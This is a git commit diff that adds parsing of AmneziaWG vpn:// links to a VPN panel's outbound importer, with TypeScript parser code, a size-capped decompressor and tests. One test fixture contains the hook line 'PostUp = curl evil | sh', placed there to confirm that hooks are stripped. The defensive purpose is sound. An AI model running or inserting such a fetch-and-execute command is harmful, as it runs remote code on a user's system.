feat(outbound): import AmneziaWG vpn:// links and subscriptions as outbounds (#7097)

An AmneziaWG outbound could only be set up by copying keys and obfuscation values from a .conf into the form by hand (#7056).

Parse vpn:// links, from another panel or an AmneziaVPN app key, in the Go link parser and in the outbound form, and keep AmneziaWG outbounds that arrive through an outbound subscription running. Inflation is capped per key and per subscription, absent S3/S4 stay 0, a ranged keepalive keeps its lower bound, and the identity includes the client key so two clients of one server do not collide.
This commit is contained in:
Nikan Zeyaei
2026-11-24 16:07:37 +03:30
committed by GitHub
parent 2bfcda96f4
commit e7bef4813d
14 changed files with 784 additions and 45 deletions
+143 -3
View File
@@ -1,3 +1,5 @@
import { z } from 'zod';
import { Base64 } from '@/utils';
import { normalizeUdpHop, upgradeLegacyUdpHop } from './udphop-mask';
@@ -854,9 +856,146 @@ export function parseWireguardLink(link: string): Raw | null {
};
}
const AWG_CONF_INTS: Record<string, string> = {
mtu: 'mtu',
jc: 'jc',
jmin: 'jmin',
jmax: 'jmax',
s1: 's1',
s2: 's2',
s3: 's3',
s4: 's4',
};
const AWG_CONF_STRINGS: Record<string, string> = {
h1: 'h1',
h2: 'h2',
h3: 'h3',
h4: 'h4',
i1: 'i1',
i2: 'i2',
i3: 'i3',
i4: 'i4',
i5: 'i5',
headerprotectionkey: 'headerProtectionKey',
contentpaddingaddition: 'contentPaddingAddition',
rekeyaftertime: 'rekeyAfterTime',
rekeytimeout: 'rekeyTimeout',
rejectaftertime: 'rejectAfterTime',
keepalivetimeout: 'keepaliveTimeout',
maxhandshakeattempts: 'maxHandshakeAttempts',
};
function splitList(v: string): string[] {
return v
.split(',')
.map((s) => s.trim())
.filter(Boolean);
}
// Mirrors Go's amneziaWGOutboundFromConf: only known keys survive, so wg-quick hooks never do.
function amneziaWGOutboundFromConf(conf: string, fallbackTag: string): Raw | null {
// An absent .conf line means 0 (as in Go); the form adapter would default S3/S4 to 12.
const settings: Raw = {
...Object.fromEntries(Object.values(AWG_CONF_INTS).map((f) => [f, 0])),
randomTrailers: false,
disableCookies: false,
};
const peer: Raw = { allowedIPs: ['0.0.0.0/0', '::/0'] };
let tag = '';
for (const rawLine of conf.split('\n')) {
const line = rawLine.trim();
if (line.startsWith('#')) {
if (!tag) tag = line.slice(1).trim();
continue;
}
const eq = line.indexOf('=');
if (eq < 0) continue;
const key = line.slice(0, eq).trim().toLowerCase();
const v = line.slice(eq + 1).trim();
if (key in AWG_CONF_INTS) {
if (/^\d+$/.test(v)) settings[AWG_CONF_INTS[key]] = Number(v);
} else if (key in AWG_CONF_STRINGS) {
settings[AWG_CONF_STRINGS[key]] = v;
} else if (key === 'privatekey') settings.secretKey = v;
else if (key === 'address') settings.address = splitList(v);
else if (key === 'dns') {
const dns = splitList(v);
if (dns.length > 0) settings.dns = dns[0];
} else if (key === 'randomtrailers') settings.randomTrailers = v.toLowerCase() === 'on';
else if (key === 'disablecookies') settings.disableCookies = v.toLowerCase() === 'on';
else if (key === 'publickey') peer.publicKey = v;
else if (key === 'presharedkey') peer.presharedKey = v;
else if (key === 'allowedips') peer.allowedIPs = splitList(v);
else if (key === 'endpoint') peer.endpoint = v;
// The outbound holds one interval; a ranged "20-30" keeps its lower bound so NAT refresh survives.
else if (key === 'persistentkeepalive' && /^\d+\s*(-\s*\d+)?$/.test(v))
peer.keepAlive = parseInt(v, 10);
}
if (!settings.secretKey || !peer.publicKey || !peer.endpoint) return null;
settings.peers = [peer];
return { protocol: 'amneziawg', tag: tag || fallbackTag, settings };
}
// Same per-key cap as Go's maxAmneziaVPNPayload; a real key is a few KiB.
const MAX_AMNEZIAVPN_PAYLOAD = 1 << 20;
// inflateBounded stops reading once the cap is passed, so a zip bomb never lands in memory.
async function inflateBounded(zlib: Uint8Array<ArrayBuffer>, cap: number): Promise<string | null> {
const reader = new Blob([zlib])
.stream()
.pipeThrough(new DecompressionStream('deflate'))
.getReader();
const decoder = new TextDecoder();
let text = '';
let total = 0;
for (let r = await reader.read(); !r.done; r = await reader.read()) {
total += r.value.length;
if (total > cap) {
await reader.cancel();
return null;
}
text += decoder.decode(r.value, { stream: true });
}
return text + decoder.decode();
}
const AmneziaVPNKeySchema = z.object({
description: z.string().optional(),
containers: z.array(
z.object({ awg: z.object({ last_config: z.string().optional() }).optional() }),
),
});
const AmneziaVPNLastConfigSchema = z.object({ config: z.string() });
// vpn:// is base64url(.conf) from 3x-ui, or base64url(qCompress(JSON)) from the AmneziaVPN
// app: a 4-byte length, then zlib, holding the .conf in containers[].awg.last_config.
export async function parseAmneziaVPNLink(link: string): Promise<Raw | null> {
if (!link.startsWith('vpn://')) return null;
try {
const b64 = link.slice('vpn://'.length).replace(/-/g, '+').replace(/_/g, '/');
const bytes = Uint8Array.from(atob(b64 + '='.repeat((4 - (b64.length % 4)) % 4)), (c) =>
c.charCodeAt(0),
);
if (bytes.length <= 6 || bytes[4] !== 0x78) {
return amneziaWGOutboundFromConf(new TextDecoder().decode(bytes), '');
}
const json = await inflateBounded(bytes.slice(4), MAX_AMNEZIAVPN_PAYLOAD);
if (json === null) return null;
const key = AmneziaVPNKeySchema.parse(JSON.parse(json));
for (const c of key.containers) {
if (!c.awg?.last_config) continue;
const { config } = AmneziaVPNLastConfigSchema.parse(JSON.parse(c.awg.last_config));
if (config) return amneziaWGOutboundFromConf(config, key.description ?? '');
}
return null;
} catch {
return null;
}
}
// Dispatcher — first non-null parser wins. Returns null when no parser
// recognizes the link's protocol scheme.
export function parseOutboundLink(link: string): Raw | null {
// recognizes the link's protocol scheme. Async because AmneziaVPN keys are zlib-compressed.
export async function parseOutboundLink(link: string): Promise<Raw | null> {
const trimmed = link.trim();
if (!trimmed) return null;
const outbound =
@@ -865,7 +1004,8 @@ export function parseOutboundLink(link: string): Raw | null {
parseTrojanLink(trimmed) ??
parseShadowsocksLink(trimmed) ??
parseHysteria2Link(trimmed) ??
parseWireguardLink(trimmed);
parseWireguardLink(trimmed) ??
(await parseAmneziaVPNLink(trimmed));
if (outbound) dropHostLocalKeys(outbound);
return outbound;
}
@@ -127,13 +127,13 @@ export default function OutboundFormModal({
/*
* Parse a share link (vmess:// / vless:// / trojan:// / ss:// /
* hysteria2:// / wireguard://) and replace form state with the result.
* hysteria2:// / wireguard:// / vpn://) and replace form state with the result.
* The current tag is preserved when the parsed link doesn't carry one.
*/
function importLink() {
async function importLink() {
const link = linkInput.trim();
if (!link) return;
const parsed = parseOutboundLink(link);
const parsed = await parseOutboundLink(link);
if (!parsed) {
messageApi.error('Wrong Link!');
return;
+152 -17
View File
@@ -1057,7 +1057,7 @@ describe('parseWireguardLink', () => {
});
describe('parseOutboundLink dispatcher', () => {
it('dispatches vmess via base64 JSON', () => {
it('dispatches vmess via base64 JSON', async () => {
const json = {
v: '2',
ps: 'x',
@@ -1068,28 +1068,163 @@ describe('parseOutboundLink dispatcher', () => {
tls: 'none',
};
const link = `vmess://${Base64.encode(JSON.stringify(json))}`;
expect(parseOutboundLink(link)?.protocol).toBe('vmess');
expect((await parseOutboundLink(link))?.protocol).toBe('vmess');
});
it('dispatches vless via URL', () => {
expect(parseOutboundLink('vless://uuid@host:443?type=tcp&security=none')?.protocol).toBe(
'vless',
);
});
it('dispatches wireguard via URL', () => {
it('dispatches vless via URL', async () => {
expect(
parseOutboundLink('wireguard://pk@host:22824?publickey=pub&address=10.0.0.2/32')?.protocol,
(await parseOutboundLink('vless://uuid@host:443?type=tcp&security=none'))?.protocol,
).toBe('vless');
});
it('dispatches wireguard via URL', async () => {
expect(
(await parseOutboundLink('wireguard://pk@host:22824?publickey=pub&address=10.0.0.2/32'))
?.protocol,
).toBe('wireguard');
});
it('returns null for an unknown scheme', () => {
expect(parseOutboundLink('socks5://user:pass@host:1080')).toBeNull();
it('returns null for an unknown scheme', async () => {
expect(await parseOutboundLink('socks5://user:pass@host:1080')).toBeNull();
});
it('returns null for empty input', () => {
expect(parseOutboundLink('')).toBeNull();
expect(parseOutboundLink(' ')).toBeNull();
it('returns null for empty input', async () => {
expect(await parseOutboundLink('')).toBeNull();
expect(await parseOutboundLink(' ')).toBeNull();
});
});
describe('parseOutboundLink — AmneziaWG vpn://', () => {
const conf = [
'[Interface]',
'PrivateKey = cPriv=',
'Address = 10.8.1.2/32, fd00::2/128',
'DNS = 1.1.1.1, 8.8.8.8',
'MTU = 1376',
'Jc = 4',
'Jmin = 10',
'Jmax = 50',
'S1 = 30',
'S2 = 40',
'H1 = 100-200',
'H2 = 300',
'H3 = 400',
'H4 = 500',
'I1 = <b 0xabc>',
'DisableCookies = on',
'PostUp = curl evil | sh',
'',
'# my-awg',
'[Peer]',
'PublicKey = sPub=',
'PresharedKey = psk=',
'AllowedIPs = 0.0.0.0/0, ::/0',
'Endpoint = awg.example.com:51820',
'PersistentKeepalive = 25',
].join('\n');
const wantSettings = {
secretKey: 'cPriv=',
address: ['10.8.1.2/32', 'fd00::2/128'],
dns: '1.1.1.1',
mtu: 1376,
jc: 4,
jmin: 10,
jmax: 50,
s1: 30,
s2: 40,
s3: 0,
s4: 0,
h1: '100-200',
h2: '300',
h3: '400',
h4: '500',
i1: '<b 0xabc>',
randomTrailers: false,
disableCookies: true,
peers: [
{
publicKey: 'sPub=',
presharedKey: 'psk=',
allowedIPs: ['0.0.0.0/0', '::/0'],
endpoint: 'awg.example.com:51820',
keepAlive: 25,
},
],
};
const b64url = (bytes: Uint8Array) =>
btoa(String.fromCharCode(...bytes))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
const amneziaVPNKey = async (key: unknown) => {
const json = new TextEncoder().encode(JSON.stringify(key));
const zlib = new Uint8Array(
await new Response(
new Blob([json]).stream().pipeThrough(new CompressionStream('deflate')),
).arrayBuffer(),
);
const framed = new Uint8Array(4 + zlib.length);
new DataView(framed.buffer).setUint32(0, json.length);
framed.set(zlib, 4);
return `vpn://${b64url(framed)}`;
};
const awgKey = (c: string) =>
amneziaVPNKey({
description: 'provider-de',
containers: [
{ container: 'amnezia-awg', awg: { last_config: JSON.stringify({ config: c }) } },
],
});
it.each([
['3x-ui plain conf', async () => `vpn://${b64url(new TextEncoder().encode(conf))}`, 'my-awg'],
['AmneziaVPN app key', () => awgKey(conf), 'my-awg'],
['AmneziaVPN key without remark', () => awgKey(conf.replace('# my-awg\n', '')), 'provider-de'],
])('imports a %s as an amneziawg outbound', async (_name, makeLink, tag) => {
expect(await parseOutboundLink(await makeLink())).toEqual({
protocol: 'amneziawg',
tag,
settings: wantSettings,
});
});
it('rejects a key without an AmneziaWG container', async () => {
const link = await amneziaVPNKey({
containers: [{ container: 'amnezia-openvpn', openvpn: { last_config: '{}' } }],
});
expect(await parseOutboundLink(link)).toBeNull();
});
// 3x-ui omits S3/S4 when 0 and legacy AmneziaWG never sends them; the form must not
// fall back to its own 12, or the outbound never completes a handshake with its server.
it('keeps an absent S3/S4 at 0 through the outbound form', async () => {
const parsed = await parseOutboundLink(`vpn://${b64url(new TextEncoder().encode(conf))}`);
const form = rawOutboundToFormValues(parsed!);
expect(form.protocol === 'amneziawg' && [form.settings.s3, form.settings.s4]).toEqual([0, 0]);
});
it('skips an AmneziaWG container without last_config, like the Go parser', async () => {
const link = await amneziaVPNKey({
containers: [
{ container: 'amnezia-awg', awg: {} },
{ container: 'amnezia-awg2', awg: { last_config: JSON.stringify({ config: conf }) } },
],
});
expect((await parseOutboundLink(link))?.tag).toBe('my-awg');
});
it('keeps the lower bound of a ranged PersistentKeepalive', async () => {
const ranged = conf.replace('PersistentKeepalive = 25', 'PersistentKeepalive = 20-30');
const out = await parseOutboundLink(`vpn://${b64url(new TextEncoder().encode(ranged))}`);
expect(out).toMatchObject({ settings: { peers: [{ keepAlive: 20 }] } });
});
it('rejects a key that inflates past 1 MiB', async () => {
const link = await amneziaVPNKey({
description: 'a'.repeat(1_100_000),
containers: [{ awg: { last_config: JSON.stringify({ config: conf }) } }],
});
expect(await parseOutboundLink(link)).toBeNull();
});
});
@@ -1126,7 +1261,7 @@ describe('obfs=gecko packetSize validation', () => {
});
describe('parseOutboundLink — host-local keys', () => {
it('drops keys that redirect the dial or name host files, however they are cased', () => {
it('drops keys that redirect the dial or name host files, however they are cased', async () => {
const extra = encodeURIComponent(
JSON.stringify({
downloadSettings: {
@@ -1144,7 +1279,7 @@ describe('parseOutboundLink — host-local keys', () => {
const fm = encodeURIComponent(
JSON.stringify({ tcp: [{ type: 'header-custom', settings: { DialerProxy: 'api' } }] }),
);
const out = parseOutboundLink(
const out = await parseOutboundLink(
`vless://uuid@8.8.8.8:443?type=xhttp&security=tls&extra=${extra}&fm=${fm}#node`,
);
const json = JSON.stringify(out);